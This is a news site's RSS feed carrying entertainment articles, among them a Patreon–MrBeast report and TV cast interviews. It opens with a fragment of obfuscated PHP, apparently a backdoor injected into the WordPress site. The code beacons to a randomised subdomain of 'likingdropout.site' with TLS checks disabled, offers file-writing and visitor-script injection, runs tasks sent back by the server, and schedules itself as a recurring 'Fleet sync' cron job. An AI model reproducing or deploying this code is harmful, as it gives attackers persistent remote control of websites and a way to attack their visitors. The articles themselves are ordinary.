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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); talks – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 18:34:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png talks – Brief News https://briefnews.eu 32 32 Patreon was in talks to onboard MrBeast in a deal that could have been worth millions but never came to pass https://briefnews.eu/patreon-was-in-talks-to-onboard-mrbeast-in-a-deal-that-could-have-been-worth-millions-but-never-came-to-pass/ https://briefnews.eu/patreon-was-in-talks-to-onboard-mrbeast-in-a-deal-that-could-have-been-worth-millions-but-never-came-to-pass/#respond Tue, 20 Sep 2022 18:34:16 +0000 https://briefnews.eu/patreon-was-in-talks-to-onboard-mrbeast-in-a-deal-that-could-have-been-worth-millions-but-never-came-to-pass/ MrBeast with throngs of fans at a shopping mall
Jimmy 'MrBeast' Donaldson.

Dave Kotinsky

  • Patreon was in talks with Jimmy "MrBeast" Donaldson earlier this year, Insider has learned.
  • The deal, which would see the YouTuber creating subscription content, was worth millions but never materialized.
  • News of the negotiations arrives amid layoffs within Patreon's creator partnerships team.

Earlier this year, Patreon had its sights set on onboarding one of the most well-known creators on earth. 

The company was in talks with Jimmy Donaldson, known to his millions of followers as MrBeast, for a deal that would see the marquee YouTuber creating subscription content, two former employees told Insider.

One of the former employees said the prospective deal "had enough zeroes to fall in the millions." The second said it could've been valued at as much as $ 10 million.

Ultimately, though, the deal never came to pass. It fell apart by July, according to the second former employee.

A representative for MrBeast declined to comment.

Ellen Satterwhite, Patreon's interim head of communications and US policy lead, told Insider that the company would not comment on personal or sensitive information about specific creators.

News of the negotiations arrives as Patreon announced cuts to its creator partnerships team, which works to onboard and support creators. Patreon founder and CEO Jack Conte wrote in a memo on September 13 that the company's creator partnerships efforts would "take a more scaled approach with a smaller, consolidated team in the US."

All told, the layoffs impacted 80 of roughly 470 staffers across various teams. 

While a deal with MrBeast never materialized, other deals that Patreon closed appear to have fallen spectacularly short of expectations. Company documents obtained by Insider show that deals with TikTok megastars Larray and Lil Huddy brought in far less in their first months on the platform than the company projected.

"They saw these deals as experiments to play around with and test certain strategies," the second former employee said. "Apparently, only a few months ago, there was enough money in the bank to spend several million to sign creators with exclusively Gen-Z followings who of course can't that easily spend $ 10 or more per month for exclusive content."

Read more about Patreon's creator deals and the evolution of its partnerships strategy

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Is Patience, Colo. finally rid of its lanky E.T.? Fat chance.

In Wednesday’s season finale of Resident Alien, Harry was forced to finally decide whether to carry out his initial plan of destroying mankind. With his device intact and ready to annihilate, Harry’s blips of humanity tugged at his heartstrings, and thanks in part to a plea from Asta, Harry opted to leave Earth just as he found it. But after blasting off into space, he discovered little Max tucked away in his spaceship cabin. Looks like Harry just booked a flight back to Colorado, after all.

Below, TVLine talks to Resident Alien creator/EP Chris Sheridan about that heartfelt finale, including Harry and Asta’s friendship, the “broken and struggling” D’Arcy, and of course, his hopes and ideas for Season 2.

TVLINE | First of all, congratulations on the Season 2 renewal!
CHRIS SHERIDAN | Thank you! I knew the show was doing well, but it’s always nice to get confirmation. The cast was beyond thrilled to find out it was coming back.

TVLINE | In the finale, Asta convinces Harry to not use the device, using their friendship and connection as her argument. Is Harry afraid of using it because he knows it could kill him, too? Or was it really just Asta’s plea that swayed him?
SHERIDAN | I think it’s love for Asta. At the very end, he has a plan. He could do it and survive. His plan is to get up in the ship, drop [the device] and take off. He’ll be fine and everyone will be wiped out. There’s a friendship love story between Asta and Harry [about] two people who, through getting to know each other and slowly gaining trust with one another, are able to bring their walls down a little bit. For the first time in Episode 10, he starts to realize what love is all about, and these feelings, this closeness he has towards Asta as a friend, are starting to creep into him. He’s going through all of the emotions we go through when someone we care about rejects us. I think he feels close enough to Asta at the end that he would still love to kill everybody. But if it means killing her, then he just can’t bring himself to do it.

TVLINE | I might be a total pessimist here, but if I was trying to convince an alien to not kill mankind, I would probably tell it exactly what I think it wants to hear. Is Asta really OK with everything that’s transpired, or is she still secretly conflicted about Harry?
SHERIDAN | That’s very astute. I think you’re exactly right. I think it’s both. Look, I think she cares about him. In the moment, yeah, this guy killed this [then]-innocent guy Harry Vanderspeigel, and that’s horrible. She’s getting drawn into this alien that looks human and maybe is human, and realizes, “Oh no, this is a monster. What am I doing? I can’t be friends with this person.” There is part of her that sees that he’s changed, but she’s also very well aware that she’s got to stop him from doing this. I don’t think she’s being manipulative. I think there is honesty in what she says to him, but at the same time, she is doing everything she can to keep him from killing everybody. I would put it at 60/40 — because I’m less of a pessimist than you, Nick — that she does truly believe he can change and is a different person than he was when he first got here.

Resident Alien Season 1 FinaleTVLINE | I can get behind those odds! We also learned that the real Harry killed Sam Hodges. Come Season 2, will that information come to light? And will we find out a motive?
SHERIDAN | It’s a good question. When I first set out to adapt this book into a TV show, my concept was to have two different stories going through the series. One is the alien storyline of Harry coming down to kill everybody and slowly becoming human. But I also wanted a town story going through this world as well, where even if there was no alien, you’d want to watch the show anyway [for] the three-dimensional characters, and Asta and D’Arcy’s relationship, and Asta’s bad marriage with Jimmy, and the baby. To me, the town story in the first season was, “Who killed Sam Hodges?” And I always thought that, in the second season, the town story would be: “Why?” What we will discover in the second season is what was going on with the real Harry Vanderspeigel. Why did he leave New York? What was the relationship between the real Harry and people in town, and what led him to kill Sam.

TVLINE | Poor D’Arcy seems so lost in the finale. What’s in store for her next season?
SHERIDAN | I’m actually going to spend some time talking to Alice Wetterlund about the character. We spent some time last season talking about this wonderful, broken human being that Alice plays so incredibly well. D’Arcy’s a small-town hero who went and made something of herself at the Olympics, and was revered by everybody. But what is it like to be that person and flame out— only to end up back where you started? I think D’Arcy is at this turning point in her life where she feels she could’ve been something and could’ve been happy if things went a certain way, but things didn’t go that way and she’s sort of given up. She has to figure out what her life is and what her true happiness is. As she says to Ben, she just wants to matter, like we all do. She wants to be important and when she finally leaves this earth, she wants to leave having done something.

Resident Alien FinaleTVLINE | “True strength comes from choosing not to kill. Maybe being truly human is about choosing to love instead.” That line is so poignant for today. Would you say that’s the series’ primary theme?
SHERIDAN | All the messages I wanted to put out there revolve around the thought of love and acceptance and connection… taking care of each other and not fighting each other. Harry came down to this planet with a concept in his head of what he thought he knew about humans — and to be honest, it’s what a lot of us think about each other. It’s this pessimistic view [of] me or them. It wasn’t until Harry got here and made these friendships where he started the journey into realizing that there’s more to humans, and when humans work together there’s nothing they can’t do.

TVLINE | Wrapping up, are there any other teases you can share about next season? Please tell me you’ve figured out another way to have Corey Reynolds sing again?
SHERIDAN | [Laughs] Oh, he’s amazing. He’s a Broadway singer. He’s incredible. My fear was that he was going to be too good of a singer for a small-town sheriff, but I would like to explore his singing some more. A sheriff that sings like that, there’s a backstory there somewhere. Maybe that was his passion growing up and he didn’t do it because his dad and his grandfather were cops? We’re going to get into Mike’s backstory more. What was really the reason he brought his dad to Colorado? There’s something that happened to him in D.C. as a cop that made him run. Everyone in Patience is running from something. I want to explore that a bit more and make his character a little more three dimensional, where he’s not just searching for the murderer.

I’d also love to be able to have Terry O’Quinn back. Maybe that storyline’s not done. He’s searching for something and it’s possible the only one who has the answers is Harry Vanderspeigle. I’m just at the beginning stages now of trying to figure out the next season. I have some cool ideas, so I’m excited to get into it.

What did you think of the Resident Alien finale? Grade the episode and season below, then sound off in the Comments!

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Some actors are born to play the roles they inhabit. And that’s certainly the case with Matthew Willig, who brings depth and tenderness to his turn as Andre the Giant on NBC’s Young Rock.

Fans of the show got a taste of the former NFL offensive tackle’s range in this week’s installment, titled “My Day With Andre.”

In it, the wrestling great hangs out with a 10-year-old Dwayne (Adrian Groulx), aka Dewey, and takes him to the movies when his parents can’t. But first, they stop by the park and feed the pigeons, allowing both Andre and Dwayne to impart bits of wisdom to each other. For instance, Dewey tries to shoo away a portly pigeon he perceives as greedy. But Andre favors and defends the bird. Later, Dewey explains that like that pigeon, Andre isn’t too big; the world is just too small.

Matt Willig Young Rock “Obviously, being my size, there are few roles that come along where I can say, ‘That’s right in my wheelhouse,’” Willig tells TVLine with a chuckle. (His past roles include Birds of Prey and Charmed.) “You add in me gaining weight and learning some French, and I definitely committed. But you never know how people are going to perceive it.”

Reception to Willig’s performance has been considerably positive, with Dwayne “The Rock” Johnson, whose life the NBC sitcom is based upon, praising him publicly.

“I’m humbled and thankful Dwayne gave me the chance to play this role,” Willig adds. “It was the right fit, and I knew that it was going to be a good fit, even though I’ve said that numerous times in my career. So to have this happen and have Dwayne believe in me and even post about it on social media means the world.”

To fill Andre’s considerable shoes, Willig packed on 35 pounds and sports a curly wig. “I wish I had that much hair,” he confesses. He even worked with a dialect coach. And while the Southern California native isn’t quite as tall as the late, great Andre — the wrestler was 7 foot, and Willig is 6’8″ — he knows what it’s like to be a big man in a small world.

“People ask me all the time how I don’t hit my head on doorways,” Willig says. “I’ve learned to just adjust. It’s the same thing when I go to the movies. I know, or I’m very aware, that if I’m sitting in front of somebody that needs to see, I’ll just slouch down.”

Matt Willig as Andre the GiantOn Young Rock, Andre doesn’t duck down at the movie theater, and the people behind him have to bob and weave for comedic effect.

“It’s just one of those things I automatically do,” he continues. “I’m always very aware of my surroundings, as far as that goes… I don’t even think about it anymore. It’s automatic. Being recognized a little bit and being really large, just walking around in a Las Vegas casino, for example, there are tons of people standing there, and you can see and feel them looking and talking about you as you walk by. Especially after I got into this business, I realized how tall I really am, because the smaller you are, the easier it is for production and camera crews and all that stuff. I do sometimes feel like I am a big man in a small world.”

As for “My Day with Andre,” Willig credits his young screen partner Groulx for being such a consummate professional.

Dewey and Andre, Young Rock“It was a really sweet episode, and it was a culmination of little Adrian and I having a nice relationship together and building that over the couple of months leading up to shooting that,” says Willig, the father of two daughters. “I think the kid is amazing. I love that kid. He’s so talented. When we’re sitting there talking, it really is kind of a nice chat. I was able to see the episode myself, and I’m really happy the way it came out and happy with the way that it feels. He’s teaching me, and I’m teaching him, and it’s a nice moment.”

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]]> https://briefnews.eu/young-rocks-matthew-willig-talks-playing-andre-the-giant-this-weeks-really-sweet-playdate-with-dewey/feed/ 0 Zazie Beetz Talks Up Invincible Role, Prepping for European Atlanta Season 3 https://briefnews.eu/zazie-beetz-talks-up-invincible-role-prepping-for-european-atlanta-season-3/ https://briefnews.eu/zazie-beetz-talks-up-invincible-role-prepping-for-european-atlanta-season-3/#respond Sun, 28 Mar 2021 14:38:52 +0000 https://briefnews.eu/zazie-beetz-talks-up-invincible-role-prepping-for-european-atlanta-season-3/

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Amazon Prime’s Invincible isn’t like other animated superhero shows.

Sure, there’s an underdog hero — this one is named Mark aka Invincible (voiced  by The Walking Dead‘s Steven Yeun) — but he’s unique. Half Korean American and half superhero, Mark is a teenager who inherits his powers from his dad Omni-Man (J.K. Simmons), the most dominant caped crusader or Viltrumite in their world. But the more strength and ability Mark gains, the more he begins to see that his father is more flawed than he could have ever imagined.

Zazie Beetz, who is best known for her roles in FX’s Atlanta and the Joker film, voices Amber, Mark’s high school classmate. Mark quietly crushes on Amber until grabbing her attention by attempting to defend her against a handsy bully. Amber eventually develops feelings for Mark, and unintentionally lands herself in a love triangle with him and Eve aka Atom Eve (Weird City‘s Gillian Jacobs).

Amber and friends, InvincibleBeetz says she was drawn to Invincible, which The Walking Dead’s Robert Kirkman adapted from his comic book series of the same name, and made its Amazon premiere this past Friday, because of the show’s impressive and inclusive cast.

“I had an opportunity to read the pilot and then to also look into the comic and the group of people that were already attached,” Beetz tells TVLine. “Steven Yeun and J.K., Sandra Oh (who plays Mark’s mom Debbie) and Gilly…. It was just a really great team that I wanted to work with and be a part of. Also, I loved that Robert Kirkman was involved with the series and I really trusted that the spirit of the comic was going to be in the television show, which I think is really important. I like being part of that world.”

Read on as the German-born Beetz teases the eight-episode Season 1 and talks about the show’s indirect connection to Atlanta costar and creator Donald Glover.

TVLINE | Did working with Kirkman attract you to Invincible?                     
He was super involved. He was in all of the recording sessions and was very involved in shaping the show. I was really drawn to that, and Amber’s character is a part of that larger world.

Invincible and Atom EveTVLINE | Amber has got some fighting skills. She’s not Domino and she doesn’t have superpowers, but she doesn’t suffer bullies.
Yeah, she holds her own and I think that is something that sort of shifted from her comic book persona, as well. She leads with confidence and leads with a sense of knowing who she is and who she wants to be and what she wants to do in the world. I think that’s actually a really interesting juxtaposition in a way to Mark, who is trying to figure it all out still. I liked the idea that a lot of people who watch a superhero thing are like, “Oh man, I wish I was like Superman or Wonder Woman” or whoever. But really, you don’t have to be that to be exceptional, or to be inciting change in the world and doing what you think is good. So, her role in that way is really important.

TVLINE | What was it like working on this during a pandemic? Were you all  doing this from home, virtually?                                                                                 
We did this before the pandemic, during, like, the spring of 2019, so it was a normal recording where you went into the studio — but we didn’t record at the same time. I think Steven got to work with J.K. Simmons, but I did it alone, and I think Gillian was alone for all of hers. Obviously, Kirkman was involved when we were recording, and our director, and some of the producers. But I didn’t work with the other actors directly.

Atlanta FX Season 2 Finale Earn VanTVLINE | Oh, I imagined you and Gillian swapping Donald Glover stories because you have both worked with him. Is it like “Six Degrees of Donald Glover?”
Yeah, I was thinking about that. I was like, “Oh yeah, like she knows him because of her time on Community.” We were just doing a bunch of our interviews together, which is really how we are getting to know each other.

TVLINE | Have you started working on Atlanta Season 3 yet?
We’re actually just about to start shooting. So, we’re doing it. I’m leaving in like two weeks to go shoot in Europe, so we have to start the whole process of that with the PPE and everything. And you can never really get used it. I have worked during the pandemic, and I have to say I’m really grateful to be working, frankly. In this business, it’s interesting because it’s all about connecting with and communicating with people, and that whole element is harder to do. Sets are very strict about keeping everybody safe, which is good, but it doesn’t make the ability to really communicate effectively easy. You have to kind of get used to doing everything a bit differently, yet you never really get used to it, because it’s a little anxiety inducing.

invincible love triangleTVLINE | What can we expect from Amber in Season 1 of Invincible? 
Mark and Amber kind of have a romantic thing. But as Mark is coming into his own and sort of working on their relationship, he struggles with the pressure of trying to balance these responsibilities of being a super person, and just trying to live a normal life. So, yeah, I don’t know what I can really tell you beyond that. But get ready for more tension between him and Amber and Eve.

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]]> https://briefnews.eu/zazie-beetz-talks-up-invincible-role-prepping-for-european-atlanta-season-3/feed/ 0 Chicago P.D.’s LaRoyce Hawkins Talks Atwater’s Tragic Love Life — Is Burgess a Potential Romantic Interest? https://briefnews.eu/chicago-p-d-s-laroyce-hawkins-talks-atwaters-tragic-love-life-is-burgess-a-potential-romantic-interest/ https://briefnews.eu/chicago-p-d-s-laroyce-hawkins-talks-atwaters-tragic-love-life-is-burgess-a-potential-romantic-interest/#respond Thu, 18 Mar 2021 00:07:53 +0000 https://briefnews.eu/chicago-p-d-s-laroyce-hawkins-talks-atwaters-tragic-love-life-is-burgess-a-potential-romantic-interest/

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Kevin Atwater’s love life on Chicago P.D. has been tragic, to say the least. He’s only had one real romantic interest over the course of the NBC drama’s eight seasons so far, and that did not end well.

In the Season 6 episode “Black and Blue,” Atwater shared a brief romance with Laila (Milauna Jemai Jackson), a wholly likable woman with a criminal past. Their chemistry was off the charts, and it looked like the pair had the potential for a long-term relationship. However, things fell apart when Laila was charged with murder despite covering for Kevin when he was close to being caught while undercover. Though it was the District Attorney’s decision, Laila saw this as a huge betrayal and a failure on Kevin’s part to protect her. The episode ended with Laila verbally berating Atwater before heading off to jail, closing the book on their romance.

Atwater has remained single since then, only enjoying some light flirting with rookie cop Vanessa Rojas (Lisseth Chavez) before she exited the series at the end of last season. LaRoyce Hawkins, who plays Atwater, says the Intelligence detective has learned a lot from his past mistakes.

Chicago PD Season 6 Atwater Laila“I think Atwater would be guilty of not having certain love skills as highly developed as they should have been,” Hawkins tells TVLine. “I think about that episode [with Laila] all the time. I actually just watched it not that long ago [and wondered] what could Atwater have done differently to preserve that rhythm to keep her safer, or at least for her to feel more protected by him. By the end of the episode, she’s going off, and doesn’t even trust Atwater or respect Atwater as much as she does at the beginning because of how he handled things. He lost his brothers and sisters because of a job that he didn’t know how to stand up to, and perhaps he lost the only love of his life that we have reference of because of a job he didn’t know how to stand up to.”

Given the experience, Hawkins assures that Atwater will make a stronger romantic effort if the opportunity presents itself again. “I’m pretty sure the next time Atwater finds himself in a romance, he’s gonna do his best. But he’s also going to require a lot of patience and understanding because, you know, he might be a little jacked up,” he explains.

While we don’t know when Atwater’s next romance will come, you can probably rule out his best friend Burgess as a potential match.

“That would be unfortunate if that happened, because she’s the best friend that almost married his best friend. With Ruzek and Burgess being his best white friends, it’s hard to say that Atwater would find a way to infiltrate or intercept that love,” he adds. “But this is television, and anything can happen.”

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]]> https://briefnews.eu/chicago-p-d-s-laroyce-hawkins-talks-atwaters-tragic-love-life-is-burgess-a-potential-romantic-interest/feed/ 0 Rebecca Breeds Talks Clarice’s Spiraling Trauma: ‘Every Part of This Episode Was Like Jumping Off a Cliff’ https://briefnews.eu/rebecca-breeds-talks-clarices-spiraling-trauma-every-part-of-this-episode-was-like-jumping-off-a-cliff/ https://briefnews.eu/rebecca-breeds-talks-clarices-spiraling-trauma-every-part-of-this-episode-was-like-jumping-off-a-cliff/#respond Fri, 12 Mar 2021 04:09:01 +0000 https://briefnews.eu/rebecca-breeds-talks-clarices-spiraling-trauma-every-part-of-this-episode-was-like-jumping-off-a-cliff/

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Clarice Starling is no stranger to danger, but after Thursday’s episode, she might think twice the next time she decides to fly solo. (Eh, who are we kidding?)

After a search for Marilyn Felker (a.k.a., the leader of the clinical trial that the murdered women participated in) led Clarice to sister Luanne Felker’s medical facility, Starling found herself pumped full of psychotic drugs and chained to a hospital bed by none other than Marilyn, herself. Not being able to tell reality from psychosis, Starling’s trauma and PTSD ran rampant in her brain as she struggled to figure out how to escape the newfound horror show she found herself in. And while she wasn’t actually trapped in Buffalo Bill’s pit of despair, she might as well have been, seeing as she was once again in a fight for her life at the hand of a mad(wo)man.

Below, TVLine speaks with series lead Rebecca Breeds about Clarice’s traumatic past, the torture she endured during her imprisonment and how the Aussie actress learned to speak that tricky Appalachian dialect.

TVLINE | Clarice goes through absolute hell in Episode 5. Even though you’re mostly bed-ridden throughout, was this episode difficult to shoot?
REBECCA BREEDS | This episode nearly killed me. [Laughs] It was so intense because even the times when I’m just lying in bed, the psychological trauma she’s going through is extreme. And then there’s all the pulling myself around on the floor in a drug stupor, paralyzed from the waist down… it was a very intense episode physically, emotionally, everything. It took so much of me and it was just so rewarding at the end of the day. You start the day off with these pages going, “How the hell are we going to do this? How am I going to act that and do that truthfully?” So much of it was stuff I’d never experienced. Line by line, moment by moment, I just threw myself into it with complete abandon. Every single part of this episode to me was like jumping off a cliff, like “I don’t know how to do this, but let’s go!”

As an actress, I went to places I couldn’t have conjured with my rational intellect. It was very much an instinctive experience and at the end of every day, I went home completely spent but so satisfied, like “Whoa, I did that today and I think it came out really good, and I’m really proud of that.” It was a huge learning experience for me.

Clarice Season 1 Episode 5 TVLINE | We see a lot of Clarice’s trauma manifest itself through the dreams and visions she has. I’m curious: Is it her trauma that drives her or is she simply running away from it?
BREEDS | Such a good question! It’s a really great thing to ask because we’re at a point in the show where she doesn’t know yet. I think that’s one of the reasons why she avoids dealing with her trauma because what if it is the thing that’s driving her? What if it is the thing that makes her good at her job? It’s like a really good musician. Once you find the love of your life and there’s no drama anymore, are you still going to be able to write a good song? If you feel like greatest hits are all break-up songs, what happens?

I think that’s part of her resistance to looking this stuff in the face. Will she completely fall apart? Maybe. Will she lose some of her drive or her efficacy as an agent? Is she going to be a better agent than ever? They’re all very real things she doesn’t know the answer to, and there could be some sacrifice there once she heals and deals with the trauma and puts it aside. What’s it going to take for her to finally say that maybe my well-being is more important than my job? I think we’re at a point where we’re pushing to a boiling point, where she might start to think that, but she’s not there yet.

TVLINE | Why is it that Clarice always seems to work by herself, despite all of the danger she gets herself into? What is it about her past or her makeup that makes her a bit of a loner?
BREEDS | I think she’s a martyr, for sure. She would rather put herself in danger than endanger others — because the whole point is to rescue people, to silence the lambs, not to put more people in harm’s way — and I don’t think she has a high self-value. She’s like, “Well, if I die, I die… I don’t want to put Ardelia or Esquivel in danger,” or “This could be nothing, I’m just following a hunch.” I don’t think she necessarily anticipates things to go as dark as they do. A lot of the times she’s just using her initiative and chasing a lead. I do that in my life often. I’m like, “Hey, I’ll just do it and show them how clever I am!” [Laughs]

[Clarice is thinking], “There are important stakes here, we have to save these people, more people could be getting killed, let’s just get on with it!” I think on an even deeper level, subconsciously, her dad worked alone as a nightwatchman. He got out there and did the job. He’s her hero and she wants to emulate him. He looked darkness in the face every night and he got on with his job, and she likes to think that she can do the same.

TVLINE | I really liked the final scene in this episode between Clarice and Ardelia. Are the two friends going to be able to patch things up?
BREEDS | I think beyond patching it up, they’re perhaps in a state of evolution. I think they’re going to have real chats… it’s real talk time! They’re going on this journey together and I think with their sense of family and friendship, they are committed to having the hard talks and eating the humble pie. They’re committed to learning and growing together, and when you do that your love only grows deeper. We get to witness that evolution, that journey, which is nice, but hard. It hurts, but it’s for the greater good, I think.

TVLINE | Lastly, you absolutely nail the West Virginian accent. How difficult was it to get that down?
BREEDS | Actually, the broad strokes of it came so quickly. I listened to a couple Appalachian accents on YouTube, and then I tried them and they just sat so well in my mouth, I don’t know why. There were a few exercises like “I might fly my kite” and “I thought I caught that dog,” and a couple of mouth positions. It happened in a couple of hours. From there, it was just a matter of gentle finessing, so I worked with a coach and he helped me with pronunciations and bits and pieces. Then, I just applied it to the work, and it really brought the character home for me. Getting the accent was a game changer.

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]]> https://briefnews.eu/rebecca-breeds-talks-clarices-spiraling-trauma-every-part-of-this-episode-was-like-jumping-off-a-cliff/feed/ 0 WandaVision Team Talks Lack of Justice for Westview: Making Everything OK Was ‘Not the Story We’re Telling’ https://briefnews.eu/wandavision-team-talks-lack-of-justice-for-westview-making-everything-ok-was-not-the-story-were-telling/ https://briefnews.eu/wandavision-team-talks-lack-of-justice-for-westview-making-everything-ok-was-not-the-story-were-telling/#respond Wed, 10 Mar 2021 01:14:40 +0000 https://briefnews.eu/wandavision-team-talks-lack-of-justice-for-westview-making-everything-ok-was-not-the-story-were-telling/

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The following contains spoilers from the WandaVision finale and episodes leading up to it.

Once the dust settled in the WandaVision finale (now streaming on Disney+), yes, Wanda (played by Elizabeth Olsen) had vanquished witchy rival Agatha Harkness  (Kathryn hahn). And yes, she freed the people of Westview, N.J. from the spell that had held them hostage in her idyllic world, in the course of sacrificing the family she had conjured for herself.

But the fact remains that — as revealed earlier by Agatha, and later owned up to by Wanda herself — these people not only had been robbed of their identities but, as one noted, “When you let us sleep, we have your nightmares!”

When Wanda walked into town after losing Vision and their sons to the vanished Hex, Monica Rambeau (Teyonah Parris) tried to alleviate some of the sorceress’ guilt, saying, “They’ll never know what you sacrificed for them.” But Wanda knew that was far from true, saying, “It wouldn’t change how they see me.”

Some viewers, though, felt that that exchange was a bit too pat. That though Wanda is owning her role in Westview’s torture, it doesn’t at all change that it happened.

So, was there ever “more” to that final scene, an attempt to do better by the people of Westview?

“There’s so much conversation about taking Westview hostage in the finale as it is,” WandaVision director Matt Shakman notes. In that mid-episode scene, “We have Agatha really bringing it to Wanda, saying, ‘Are you a hero or are you a villain? Heroes don’t torture people.’ That’s a huge moment in the finale, when Wanda has to wrestle with that.”

Speaking to the scene following the Hex’s collapse, head writer Jac Schaeffer tells TVLine, “I think Wanda’s walk of shame back into the town is really powerful, and it was written as such on the page. It was meant to be like an assault of death glares from people, and we were meant to feel how angry they all are.

“I remember a note from [Marvel Studios chief] Kevin [Feige] being like, ‘More, more, let’s feel that for her, let’s understand that what she did was terrible,’” Schaeffer adds.

To those who wished a happier ending for Westview, “No, that’s not the story we’re telling, that now [Wanda] is has to make everything OK,” Schaeffer says. “It wasn’t about landing her in a way where it’s like, ‘Everything’s wrapped up and squeaky clean, and she’s a hero and has done no wrong!’ She’s done a lot of wrong. And there will probably be reckonings down the line. No, I like how that’s in the gray area of misdeeds that she’s been involved in.”

As director of the Wanda/Monica scene at the end, Shakman says “there were many versions of that, for sure, but nothing that was much longer.” He then echoes Schaeffer’s reverence for the complicated moment, saying, “I think it’s a beautiful scene. We’re not trying to let Wanda off the hook at all. The daggers that she’s getting from every townsperson as she walks through town should clearly show that she’s not being forgiven, and she won’t be forgiven, by them. She understands that.”

Have those residents of Westview been left to rue Wanda and be haunted by their time in spell-driven servitude? And what is to come of Agatha, who was returned by Wanda to her “Agnes” persona? Will Sarah, Sharon et al forever be giving their nosy neighbor the stink eye?

“I can’t really speak to [the residents], because it’s beyond the scope of the show, which is my department,” Schaeffer defers. “But with regard to Agatha, it’s what Wanda says: You’re going to live here, she does a mind control spell on Agatha, and then says, No one will bother you. In my mind, that means Agatha lives, or will live, in some kind of bubble. No one’s going to question her or have a hard time with her. Wanda has stashed her there, and also defanged her, essentially.” (With reporting by Rebecca Iannucci)

Got burning WandaVision questions? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/wandavision-team-talks-lack-of-justice-for-westview-making-everything-ok-was-not-the-story-were-telling/feed/ 0 Ginny & Georgia’s Antonia Gentry Talks Season 1 Cliffhanger, Marcus vs. Hunter https://briefnews.eu/ginny-georgias-antonia-gentry-talks-season-1-cliffhanger-marcus-vs-hunter/ https://briefnews.eu/ginny-georgias-antonia-gentry-talks-season-1-cliffhanger-marcus-vs-hunter/#respond Sun, 07 Mar 2021 18:05:58 +0000 https://briefnews.eu/ginny-georgias-antonia-gentry-talks-season-1-cliffhanger-marcus-vs-hunter/

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Warning: The following contains major spoilers for Ginny & Georgia‘s finale. Proceed at your own risk!

Ginny, where are you going?!

The Netflix dramedy Ginny & Georgia concluded its first season with a runaway teen, after Ginny discovered that her mother poisoned her stepfather. (Georgia had witnessed him, suggestively, putting his hands on her daughter.) With that dangerous secret now revealed to her, Ginny grabbed her little brother and fled their home in fear of her mom.

But where will Ginny find safety? And what’s her future with ex-boyfriend Hunter and maybe-boyfriend Marcus? To get answers to those burning questions and more, TVLine turned to her portrayer Antonia Gentry.

TVLINE | After their “oppression Olympics” fight and then him finding out that Ginny slept with Marcus, are Hunter and Ginny just beyond repair?
Man, I feel bad for them all. Marcus always has the right thing to say. Honestly, I don’t know. If I were Hunter, I would just be kind of done with it. I feel like they are better off as friends, maybe, than in a relationship with each other, just because Ginny really has so much she needs to figure out. With Marcus, he knows her secrets, and they have this really intimate friendship that is just different than the kind of intimacy that she has with Hunter. So I feel like, gosh, it’s just so complicated. If I were Hunter, I’d stay away from it all. That’s what I’m going to say. [Laughs]

Ginny & Georgia RecapTVLINE | At the end of the season finale, though, things are kind of in a weird place between Ginny and Marcus. They’ve gone back and forth several times in that episode, alone, with him saying it was a mistake, then it’s not a mistake, and her not telling him she’s running away. Do they have a future together at all?
Honestly, I would hope so. But Ginny, man, she’s got a lot on her plate. The girl needs to get her priorities in check. [Laughs] I hope. She really needs a friend right now, and if we ever see their stories continue, I hope that maybe he could be that friend for her, to be there for her. Because I don’t know what I would do if I found out my mom scattered someone’s ashes or something that she killed. I would probably also run away. So she definitely needs someone to ground her, and I hope she finds that.

